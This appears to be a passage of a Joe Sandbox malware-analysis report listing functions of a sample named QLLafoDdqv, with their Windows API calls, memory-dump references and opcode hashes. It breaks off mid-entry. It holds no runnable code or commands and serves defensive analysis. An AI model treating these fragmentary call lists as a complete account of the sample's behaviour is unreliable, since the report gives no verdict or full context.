PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0073ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0073ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0073AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0073AE38

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: af5ae70e6b4cd819382befcc31a51b298cd98d25e86410dd415f496c1cd5ffad
Instruction ID: 0447e52ab97c429342cdcf0af972e4bdb83a60a4f4b22822ef6659b011641b9f
Opcode Fuzzy Hash: af5ae70e6b4cd819382befcc31a51b298cd98d25e86410dd415f496c1cd5ffad
Instruction Fuzzy Hash: 5551D2A1A547D53DFB378334CC57B7ABEA86B46300F088588E1D54A8C3D29CEC88D762

Function 0070542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00713CD6,?,?,?,?,?,?,?,?,00705BA3,?,?,00713CD6,?,?), ref: 00705470
__fassign.LIBCMT ref: 007054EB
__fassign.LIBCMT ref: 00705506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00713CD6,00000005,00000000,00000000), ref: 0070552C
WriteFile.KERNEL32(?,00713CD6,00000000,00705BA3,00000000,?,?,?,?,?,?,?,?,?,00705BA3,?), ref: 0070554B
WriteFile.KERNEL32(?,?,00000001,00705BA3,00000000,?,?,?,?,?,?,?,?,?,00705BA3,?), ref: 00705584

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 72148edba0950030cd261861e038906098e80c9f425ffcf3c2ccfba6e8bb0a1d
Instruction ID: 93e5faad942c77b0f136366034d5f8c680b91afc7a060824a6dc58f200d304ff
Opcode Fuzzy Hash: 72148edba0950030cd261861e038906098e80c9f425ffcf3c2ccfba6e8bb0a1d
Instruction Fuzzy Hash: 3351D1B0A00648DFDB11CFA8DC45AEEBBFAEF09300F14421AF546E3291E6349A51CF64

Function 007510B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0075304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0075307A
Part of subcall function 0075304E: _wcslen.LIBCMT ref: 0075309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00751112
WSAGetLastError.WSOCK32 ref: 00751121
WSAGetLastError.WSOCK32 ref: 007511C9
closesocket.WSOCK32(00000000), ref: 007511F9

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: cc31d782b140be486cd05b6e0f5af7f5728540ecf732877cb0a390cfa3051aa6
Instruction ID: feb7fcc3ecfa8e6373ac689c27c791dc93df588096a601cf97eda304a8dc937c
Opcode Fuzzy Hash: cc31d782b140be486cd05b6e0f5af7f5728540ecf732877cb0a390cfa3051aa6
Instruction Fuzzy Hash: 73412731600608AFDB109F24C884BE9B7EAEF44326F148099FD469B291C7B8ED45CBE5

Function 0073CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0073CF22,?), ref: 0073DDFD

Part of subcall function 0073DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0073CF22,?), ref: 0073DE16

lstrcmpiW.KERNEL32(?,?), ref: 0073CF45
MoveFileW.KERNEL32(?,?), ref: 0073CF7F
_wcslen.LIBCMT ref: 0073D005
_wcslen.LIBCMT ref: 0073D01B
SHFileOperationW.SHELL32(?), ref: 0073D061

Strings

\*.*, xrefs: 0073CFF3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 373d02fcb99c48e86bf8d21b40618f4b2438aaaa9cbbe721821abaf7dd37aecd
Instruction ID: 9601f03266f9bd683ce9cf6b0f7c8f76a9196e5331cd82915d131985145e2991
Opcode Fuzzy Hash: 373d02fcb99c48e86bf8d21b40618f4b2438aaaa9cbbe721821abaf7dd37aecd
Instruction Fuzzy Hash: 06414672D0521D9EEF16EBA4D985AEE77B9AF08340F0000E6E545EB142EB38AA44CF54

Function 00762DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00762E1C
GetWindowLongW.USER32(00000000,000000F0), ref: 00762E4F
GetWindowLongW.USER32(00000000,000000F0), ref: 00762E84
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00762EB6
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00762EE0
GetWindowLongW.USER32(00000000,000000F0), ref: 00762EF1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00762F0B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 7a5ad5d8c28bb9b865106da4adab3ab8c8fc295b98a752fb29028662771842c9
Instruction ID: b9434c6ee2478be88427f775a08e3c143a25a46c4fd52119f2fb3df546c61c9b
Opcode Fuzzy Hash: 7a5ad5d8c28bb9b865106da4adab3ab8c8fc295b98a752fb29028662771842c9
Instruction Fuzzy Hash: C23139306446409FEB61CF58DC88F6537E0FB9A710F1541A5F9529F2B2CBBAAC41DB09

Function 00737726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00737769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0073778F
SysAllocString.OLEAUT32(00000000), ref: 00737792
SysAllocString.OLEAUT32(?), ref: 007377B0
SysFreeString.OLEAUT32(?), ref: 007377B9
StringFromGUID2.OLE32(?,?,00000028), ref: 007377DE
SysAllocString.OLEAUT32(?), ref: 007377EC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 203ff3479cfcecbc6a24dcacf9b1fa21ab4bc7a9532e15ebe7a3c5339a1714b5
Instruction ID: 905302cf645ea7bf19f148562bf9405b07415cf1316ca88ab69910b5868b256d
Opcode Fuzzy Hash: 203ff3479cfcecbc6a24dcacf9b1fa21ab4bc7a9532e15ebe7a3c5339a1714b5
Instruction Fuzzy Hash: 4721C4B6609219AFEF24DFA9CC88CBB77ACEB09364B008025F905DB151DAB8DC41C764

Function 007377FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00737842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00737868
SysAllocString.OLEAUT32(00000000), ref: 0073786B
SysAllocString.OLEAUT32 ref: 0073788C
SysFreeString.OLEAUT32 ref: 00737895
StringFromGUID2.OLE32(?,?,00000028), ref: 007378AF
SysAllocString.OLEAUT32(?), ref: 007378BD

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 8093e5513709c9aff3a1afb3415f77b4b5f8ede55843d04233219e39ba61d556
Instruction ID: e8c4cc6ed81ea05ec160518e5ebf34c4d69a3caa67b58542d631519cc673d62e
Opcode Fuzzy Hash: 8093e5513709c9aff3a1afb3415f77b4b5f8ede55843d04233219e39ba61d556
Instruction Fuzzy Hash: 3921C771605305BFEB249FA9CC88DBA77ECEB09360B108025F955DB1A1DA78DC41CB68

Function 007404D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 007404F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0074052E

Strings

nul, xrefs: 00740567

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: a3b9fd20309b675d013962801efb4031f8a59f66ce1eaac0174a8aa3c32314d0
Instruction ID: 1ed6b0ae9746cf76329a977088bf188d6789a4ecf8eb0a35fe2322b87cdec4d2
Opcode Fuzzy Hash: a3b9fd20309b675d013962801efb4031f8a59f66ce1eaac0174a8aa3c32314d0
Instruction Fuzzy Hash: D72162755003059FDF209F29DC44E5AB7A4FF45724F204A19F9A1E72E0D7749960CFA0

Function 007405A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 007405C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00740601

Strings

nul, xrefs: 00740639

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: bcd0efed980d3023c39921f52fa58164d8d19dbd06c047e5e0b18597057b5c57
Instruction ID: b03be76a21f565ee09cbc3a2660e6efd93a7f04d0da6d579e47c2e76eeaef315
Opcode Fuzzy Hash: bcd0efed980d3023c39921f52fa58164d8d19dbd06c047e5e0b18597057b5c57
Instruction Fuzzy Hash: 7421A3755003059FDB209F698C08A6A77E4BF85720F204A19FEA2E72D0D7B49860CB95

Function 007640AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006D600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 006D604C
Part of subcall function 006D600E: GetStockObject.GDI32(00000011), ref: 006D6060
Part of subcall function 006D600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 006D606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00764112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0076411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0076412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00764139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00764145

Strings

Msctls_Progress32, xrefs: 007640E3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 3ecfc59030ac7d15fad0aa5f2d1c86abb04ce2bb1f493cc7eba3eb5208b7fe63
Instruction ID: 93e9be30a6fade97cbfa1dfe121dc6c79434937424a38b0d17747306aba4796b
Opcode Fuzzy Hash: 3ecfc59030ac7d15fad0aa5f2d1c86abb04ce2bb1f493cc7eba3eb5208b7fe63
Instruction Fuzzy Hash: 2811B2B215021DBEEF119F64CC85EE77F9DEF09798F008111FB18A2150C6769C61DBA4

Function 0070D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0070D7A3: _free.LIBCMT ref: 0070D7CC

_free.LIBCMT ref: 0070D82D

Part of subcall function 007029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000), ref: 007029DE
Part of subcall function 007029C8: GetLastError.KERNEL32(00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000,00000000), ref: 007029F0

_free.LIBCMT ref: 0070D838
_free.LIBCMT ref: 0070D843
_free.LIBCMT ref: 0070D897
_free.LIBCMT ref: 0070D8A2
_free.LIBCMT ref: 0070D8AD
_free.LIBCMT ref: 0070D8B8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 024ac15da0b9ead7d85a1111eb4275f0f5704047666e8745ef4d7d909c2409d9
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 4D111F72540B04EAD531BFF4CC4FFCB7BDC6F44700F405A25B299A64E3DA69B9064A50

Function 0073DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0073DA74
LoadStringW.USER32(00000000), ref: 0073DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0073DA91
LoadStringW.USER32(00000000), ref: 0073DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0073DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0073DAB9

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: f647ab84417c0893590261e75d3c1f7d0b3d07478031c99ad41f574c072ce597
Instruction ID: 0058098c906b0a97d094fa9ce3aede9b8d9f6a5691325e5b7c5e842c360f8389
Opcode Fuzzy Hash: f647ab84417c0893590261e75d3c1f7d0b3d07478031c99ad41f574c072ce597
Instruction Fuzzy Hash: 8501FFF6500308BBF7129BA49D89EF6766CE708701F408596F786E2042E6B89E844B78

Function 0074096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0173EA38,0173EA38), ref: 0074097B
EnterCriticalSection.KERNEL32(0173EA18,00000000), ref: 0074098D
TerminateThread.KERNEL32(006F0074,000001F6), ref: 0074099B
WaitForSingleObject.KERNEL32(006F0074,000003E8), ref: 007409A9
CloseHandle.KERNEL32(006F0074), ref: 007409B8
InterlockedExchange.KERNEL32(0173EA38,000001F6), ref: 007409C8
LeaveCriticalSection.KERNEL32(0173EA18), ref: 007409CF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 29e0ea2f7e5493783159cc9e6b0c0d07287a7c6a370f32ca219b43f5a54b5196
Instruction ID: 85db687b73f16f64aa41c217686148b59ab7c0e1b06ea22aaf8513662847196b
Opcode Fuzzy Hash: 29e0ea2f7e5493783159cc9e6b0c0d07287a7c6a370f32ca219b43f5a54b5196
Instruction Fuzzy Hash: 24F03131442602BFD7425FA5EE9DBE67B35FF01702F405015F242608A0C7B9A465CFA4

Function 00751C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00751DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00751DE1
WSAGetLastError.WSOCK32 ref: 00751DF2
htons.WSOCK32(?,?,?,?,?), ref: 00751EDB
inet_ntoa.WSOCK32(?), ref: 00751E8C

Part of subcall function 007339E8: _strlen.LIBCMT ref: 007339F2

Part of subcall function 00753224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0074EC0C), ref: 00753240

_strlen.LIBCMT ref: 00751F35

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 1dc77a46487714e80ee028425aba4bde570faed49da184eceaea87af369acbea
Instruction ID: 1de4affccaffc7d261ae86323e0dea41cfb4fc672c44a56443b080907fa203ed
Opcode Fuzzy Hash: 1dc77a46487714e80ee028425aba4bde570faed49da184eceaea87af369acbea
Instruction Fuzzy Hash: 89B1D030604340AFD324DF24C885F6A77E6AF84319F94894CF8565B2E2DBB5ED46CB91

Function 007001B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 007000BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007000D6
__allrem.LIBCMT ref: 007000ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0070010B
__allrem.LIBCMT ref: 00700122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00700140

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: f49cd91cffde22e3993c3d97fd14a2f106fb5a77b9949b683dd6bac3631d9c37
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 2E810872A01B0ADBE7209F68CC45BAE73EAAF41734F24463EF651D62C1E778D9408790

Function 007061FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,006F82D9,006F82D9,?,?,?,0070644F,00000001,00000001,8BE85006), ref: 00706258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0070644F,00000001,00000001,8BE85006,?,?,?), ref: 007062DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 007063D8
__freea.LIBCMT ref: 007063E5

Part of subcall function 00703820: RtlAllocateHeap.NTDLL(00000000,?,007A1444,?,006EFDF5,?,?,006DA976,00000010,007A1440,006D13FC,?,006D13C6,?,006D1129), ref: 00703852

__freea.LIBCMT ref: 007063EE
__freea.LIBCMT ref: 00706413

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: af83f7516c0654e0fecd1d957314104961cf34eb2aa30535d4abe13ed594feda
